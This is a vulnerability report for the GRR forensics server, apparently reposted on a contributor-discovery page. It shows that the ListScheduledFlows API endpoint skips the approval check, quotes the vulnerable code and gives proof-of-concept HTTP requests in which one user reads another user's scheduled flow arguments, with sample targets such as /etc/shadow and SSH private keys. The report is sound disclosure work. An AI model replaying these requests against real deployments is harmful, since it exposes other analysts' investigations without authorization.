ListScheduledFlows missing approval and ownership check exposes pending flow arguments cross-user
- Dominant language
- Python
- Stars
- 5.1k
- Forks
- 796
- PR merge metrics
- No merged PRs in 30d
Description
https://issuetracker.google.com/issues/526047481
Affected Versions: confirmed on 4.0.0.0 (HEAD 9f8f797)
### Summary
Any authenticated GRR user can enumerate another user's pending scheduled flows on any client, including the full flow arguments (target file paths, artifact names, etc.), without holding or requesting a client approval. The endpoint `GET /api/v2/clients//scheduled-flows/` bypasses the approval-based access control that protects every other client-data endpoint.
### Details
GRR's approval model gates all client data operations behind an explicit approval workflow. The `ApiCallRouterWithApprovalChecks` router enforces this by calling `self.approval_checker.CheckClientAccess(context, args.client_id)` (or the hunt/cron equivalents) on every sensitive handler. However, `ListScheduledFlows` has no such check:
`grr/server/grr_response_server/gui/api_call_router_with_approval_checks.py`, lines 710-715:
```python
def ListScheduledFlows(
self,
args: api_flow_pb2.ApiListScheduledFlowsArgs,
context: Optional[api_call_context.ApiCallContext] = None,
) -> api_flow.ApiListScheduledFlowsHandler:
return self.delegate.ListScheduledFlows(args, context=context)
```
No `CheckClientAccess`, no ownership check on `args.creator`. Compare the sibling endpoint `ListFlows` at line 524 which requires approval before it returns:
```python
def ListFlows(self, args, context=None):
self.approval_checker.CheckClientAccess(context, args.client_id)
return self.delegate.ListFlows(args, context=context)
```
The handler `ApiListScheduledFlowsHandler` (flow.py, lines 1403-1420) passes `args.creator` directly from the URL to the database query with no validation:
```python
def Handle(self, args, context=None):
results = flow.ListScheduledFlows(
client_id=args.client_id, creator=args.creator
)
```
The URL route is `GET /api/v2/clients//scheduled-flows/` (api_call_router.py, line 1022). The `creator` field in the URL is passed directly into the DB query via `_FillProtoWithRouteArgs`, so any caller can enumerate any user's scheduled flows on any client.
The `ApiScheduledFlow` proto response (flow.proto, lines 408-419) includes `flow_name` and `flow_args` -- the full Any-packed flow arguments containing target file paths, artifact selections, and any other sensitive operational parameters the planning user submitted.
### PoC
Prerequisites: GRR server running with `ApiCallRouterWithApprovalChecks` as the default router (production configuration). Two accounts: `alice` (analyst who has scheduled a flow) and `bob` (analyst with no approval or relationship to alice's target client).
1. Alice schedules a FileFinder flow on client `C.aabbccddeeff0011` (via the UI or API):
```
POST /api/v2/clients/C.aabbccddeeff0011/scheduled-flows HTTP/1.1
Authorization: Basic YWxpY2U6...
X-CSRFToken:
Content-Type: application/json
{"clientId": "C.aabbccddeeff0011", "flow": {"name": "FileFinder", "args": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}}}
```
Response: 200 with scheduledFlowId.
2. Bob (no approval on this client) reads alice's scheduled flows:
```
GET /api/v2/clients/C.aabbccddeeff0011/scheduled-flows/alice HTTP/1.1
Authorization: Basic Ym9iOi4uLg==
```
Response (HTTP 200):
```json
{"scheduledFlows": [{"scheduledFlowId": "31A94490C9192359", "clientId": "C.aabbccddeeff0011", "creator": "alice", "flowName": "FileFinder", "flowArgs": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}, "createTime": "1781921551882868"}]}
```
For comparison, Bob's attempt to call the approval-gated sibling endpoint returns 403:
```
GET /api/v2/clients/C.aabbccddeeff0011/flows HTTP/1.1
Authorization: Basic Ym9iOi4uLg==
```
Response (HTTP 403): `{"message": "Access denied by ACL: No approval found.", "subject": "aff4:/C.aabbccddeeff0011"}`
Tested live on commit 9f8f7974 (GRR 4.0.0.0).
### Impact
Any authenticated GRR user can read the pending scheduled flows of all other analysts on any client, including the full flow arguments: target file paths (e.g., `/etc/shadow`, SSH keys), artifact collection lists, and other sensitive operational parameters. An attacker with a valid GRR account can map out which clients are under active investigation, what files are being targeted, and which artifacts are being collected -- all without ever obtaining a client approval. In GRR deployments where the scheduled-flow feature is used (it is the recommended workflow for scheduling flows pending approval), this leaks the entire investigative context of other analysts.
Contributor guide
Research direction
Start in grr/server/grr_response_server/gui/api_call_router_with_approval_checks.py by comparing ListScheduledFlows with the approval-gated ListFlows entry point. Trace ApiListScheduledFlowsHandler in flow.py and the scheduled-flows route in api_call_router.py, then verify that unauthorized cross-user reads are denied while permitted access still works.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- api, authorization, security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 72/100